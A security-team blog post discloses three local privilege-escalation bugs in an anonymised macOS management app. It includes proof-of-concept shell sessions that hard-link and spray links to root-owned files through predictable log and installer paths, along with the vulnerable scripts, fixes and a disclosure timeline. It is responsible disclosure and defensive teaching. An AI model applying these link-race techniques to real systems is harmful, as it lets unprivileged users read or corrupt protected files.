Cybersecurity lessons: Privilege escalation via file read/write

Other
10 mins
Steps with footprints heading up.

Editor’s note: This post is part of our series for cybersecurity professionals and hobbyists, written by Usman K., a penetration tester on ExpressVPN’s cybersecurity team.

Protecting users’ privacy is the core principle on which ExpressVPN operates. 

To uphold this principle, all products and services we develop go through rigorous security testing before they are deployed to our users. The same level of scrutiny is also applied to all third-party services or products utilized by ExpressVPN, which go through security reviews as part of their evaluation process. During these evaluations we sometimes come across different sets of vulnerabilities that could end up being weaponized by malicious actors.

In this article we will be focusing on a series of privilege escalation issues discovered during a security review for an Application and Endpoint Management tool. We will refer to this tool as “AppManager” from now on. 

The goal of this article is to provide insight into how a highly privileged process interacting with a lower-privilege user space can lead to attackers elevating their access or performing a DoS attack. All the bugs discussed in this article have been reported to the vendor and have been acknowledged.

Read more: Cybersecurity lessons: Risk of email takeover via a 4th-party provider

Overview

Issues discovered during our assessment include:

  • Arbitrary file read through log collection.
  • Arbitrary file overwrite through log collection.
  • Arbitrary file write through package installer.

We observed that all three of the above issues can be characterized as privilege-escalation vulnerabilities as the arbitrary file read/write vulnerabilities allow the elevation of privilege for normal users. We will go through each of the vulnerabilities found in detail, discuss how they can be exploited, and what should be done to remediate these issues.

Details

Arbitrary file read through log collection

The AppManager macOS app has a “Support” function that collects logs and zips them into a temporary directory. When listing the spawned process for the AppManager, we can see that the AppManager calls a collector executable that collects all the logs. This collector executable runs as root as shown below:

ps aux | grep -i AppManager
<snip>
root             49584   0.0  0.0  4279224   1204   ??  S    10:58PM   0:00.00 /bin/bash /Applications/AppManager.app/<COLLECTOR_DIR>/collector -f /tmp verbose all custom 5760m
<snip>

Further investigation into the collector executable reveals that it is a shell script which contains the following code:

..<snip>..
if [ -d "/Users" ]; then
      cd "/Users"
      for USERNAME in `ls`; do
        userCrashLocation="/Users/$USERNAME/Library/Logs/Reports"
        cp -p $userCrashLocation/AppManager_Process*.crash \
..<snip>..
      done
    fi

Vulnerability

The crash logs are written to /Users/$USERNAME/Library/Logs/Reports, which is a user writable path. Within this folder, a low-privilege user could create a link from a root-owned file (e.g., /etc/sudoers) to a crash file in the format AppManager_Process<random_number>.crash. This would lead to the collector script copying the root-owned file into the user readable /tmp directory.

Proof of concept

~/Library/Logs/Reports $ ls -la /usr/local/ | grep root | tail -1
drwxr-xr-x     3 root     wheel     96 Oct 14 10:55 root
~/Library/Logs/Reports $ ls -la /usr/local/root/
total 8
drwxr-xr-x   3 root  wheel   96 Oct 14 10:55 .
drwxr-xr-x  18 root  wheel  576 Oct 14 10:41 ..
-r-x------   1 root  wheel    7 Oct 14 10:55 secret
~/Library/Logs/Reports $ ln /usr/local/root/secret ./AppManager_Process1337.crash
~/Library/Logs/Reports $ mkdir /tmp/<log_folder>

We can trigger the vulnerability by invoking the log-collection function in AppManager.

This leads to the creation of a zip archive which will contain all the log files. When archiving, symbolic/hard-linked files are hard copied through the permissions of the running process, effectively leading to the arbitrary read vulnerability.

This results in the creation of /tmp/Report-2020-10-14_10-58-52.zip, which contains a copy of the root-owned file now readable for the unprivileged user. 

cd /tmp
/tmp $ unzip -l--q 'Report-2020-10-14_10-58-52.zip' | grep 1337
7  10-14-2020 10:55   Report-2020-10-14_10-58-52//AppManager_Process1337.crash
/tmp $ unzip -p Report-2020-10-14_10-58-52.zip Report-2020-10-14_10-58-52//AppManager_Process1337.crash
secret

This kind of arbitrary read can allow an attacker with low privileges to access high-privilege files, such as /etc/passwd, or in this case /usr/local/root/secret, which should only be accessible to the root user only.

Arbitrary file overwrite through log collection

Further reviewing the log collection functionality revealed that an arbitrary file overwrite vulnerability is also present in this implementation of the AppManager macOS app.

This function creates a zip archive from /tmp/<log_folder> named /tmp/<Report_File>-$year-$month-$day_$hour-$minute-$second.zip.

The naming convention of the file is predictable because when logs are collected it will use the system current time as the timestamp.

Vulnerability

The AppManager’s log-collection function, which is running as root, does not perform an unlink before writing the zip file. Thus, an unprivileged user can spray hard links to a root-owned file using files named with a series of the future hours, minutes, and seconds, which leads to an overwrite of the target root-owned file.

Proof of concept

$ ./dos-poc.sh
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-00.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-01.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-02.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-03.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-04.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-05.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-06.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-07.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-08.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-09.zip'

-r-x------  181 root  wheel  7 Oct 16  2020 /usr/local/root/secret

Now triggering the log collection function in the AppManager should execute the exploit.

Once done, we run: ls -l /usr/local/root/secret to see that this file has been overwritten, and the size has increased significantly due to the newly created archive.

/tmp $ ls -l "/usr/local/root/secret"
-r-x------  181 root  wheel  4168630 Oct 16 11:07 /usr/local/root/secret

Arbitrary file overwrite using the package Installer

The AppManager macOS installer contained a preinstall script that had a hardcoded log file path:

#!/usr/bin/perl

my @now = localtime();

my $timeStamp = sprintf("_%04d-%02d-%02d-%02d.%02d.%02d",
                        $now[5]+1900, $now[4]+1, $now[3],
                        $now[2],      $now[1],   $now[0]);

if (!(-e "/tmp/Logs" and -d "/tmp/Logs")) {
    system("mkdir \"/tmp/Logs\"");
}

my $PKGNAME = "Installer";
my $LOG="/tmp/Logs/$PKGNAME$timeStamp.log";

sub WriteLog
{
    my $log = shift;
    system("/bin/echo `date` $log >> $LOG");
}

Vulnerability

No checks are performed to determine whether this file already exists or whether it’s a link. In addition, the use of echo and stdout redirection to this file allows symlinks to be followed. 

The developers have appended timestamps to the end of the file to avoid hardcoding the file name and making it more dynamic. But this can be easily bypassed by creating the /tmp/Logs directory and spraying links in the format /tmp/Logs/Installer_<timestamp>.log to a root-owned file with pre-calculated timestamps with one second delays, as shown below.

Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.56.log'
Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.57.log'
Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.58.log'
Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.59.log'

When the AppManager’s installer runs, it will append log artifacts to that file leading to file corruption. If those are system-critical files, such as /etc/sudoers, it could significantly impact the usability of the system.

We did notice that this attack will not be successful if the /tmp/Logs directory has already been created by the preinstall script as it would have been created as root and a normal user will not have the permission to create the symlinks in that directory.

Proof of concept

➜ ls -al /usr/local/root/secret
-r-x------  181 root  wheel  14 May  7 23:28 /usr/local/root/secret

Create links to /usr/local/root/secret as shown above. Now install AppManager, and observe that the file size of /usr/local/root/secret has grown:

➜ ls -al /usr/local/root/secret
-r-x------  181 root  wheel  698 May 10 00:38 /usr/local/root/secret

Root cause analysis

All three vulnerabilities were exploited using similar techniques of creating links in a low-privilege space to a high-privilege file. The directories and files that the high-privilege AppManager app was using were predictable and under the control of low-privilege users. As the exploited functions run as root, the attacker can abuse these files and manipulate files with root privileges.

Recommendations

The vulnerabilities mentioned above are cause for concern for system administrators, security operation analysts and developers alike. 

Developers working on products that run with higher privileges can avoid these pitfalls by 

  • Using mktemp to create temporary directories/files. mktemp allows users to safely use temporary files by creating unique and unpredictable file/directory names. 
  • Checking if files already exist before the initial write and removing the existing file before the initial write.
  • Not following links.
  • Making sure directories and files have the right permissions before read/write.

Similarly, system administrators and security operations analysts should work to identify similar applications within their environments that might be vulnerable to the exploitation techniques mentioned in this article. This could be done through the identification of applications running with high privileges that operate in low privilege user space where file and operating system resources may be shared in an insecure manner.

Conclusion

As a rule of thumb, high-privilege applications and services should not rely on input that is under a low-privilege user’s control and should avoid creating or reading files from such spaces. 

Timeline:

Arbitrary file read through log collection

  • October 14, 2020: Discovered the issue during an internal assessment of the product.
  • October 15, 2020: Reported the finding to the vendor and got a case number assigned.
  • October 17, 2020: The vendor verified the issue and updated that they are working on the fix.
  • November 17, 2020: Vendor provided an update that all the issues have been further validated. Two of the three reported issues are fixed and will be part of the next release. Whereas the third issue is still under development.
  • January 25, 2021: Analysis on the new release revealed the issue no longer allowed non-administrative users to read sensitive system files. Vendor was informed of the findings.

Arbitrary file overwrite through log collection

  • October 16, 2020: Discovered the issue and reported it to the vendor. The vendor assigned a case number.
  • November 17, 2020: Vendor provided an update that all the issues have been validated. Two of the three reported issues are fixed and will be part of the next release. Whereas the third issue is still under development.
  • January 25, 2021: Analysis on the new release revealed that the issue was not fixed.
  • April 9, 2021: Analysis on the latest version confirmed that the issue has been fixed.

Arbitrary file overwrite using the package Installer

  • October 14, 2020: Discovered the issue during an internal assessment of the product.
  • October 15, 2020: Reported the finding to the vendor and got a case number assigned from them.
  • October 17, 2020: The vendor verified the issue and updated that they are working on the fix.
  • November 17, 2020: Vendor provided an update that all the issues have been validated. Two of the three reported issues are fixed and will be part of the next release. Whereas the third issue is still under development.
  • January 25, 2021: Analysis done on the new release revealed that the issue is partially fixed which can be easily bypassed.
  • May 10, 2021: The issue remains partially fixed on the latest version tested.
  • June 22, 2021: Analysis on the latest version confirmed that the issue has been fixed.
ExpressVPN's Security Team contributes articles with the aim of benefiting the cybersecurity community at large.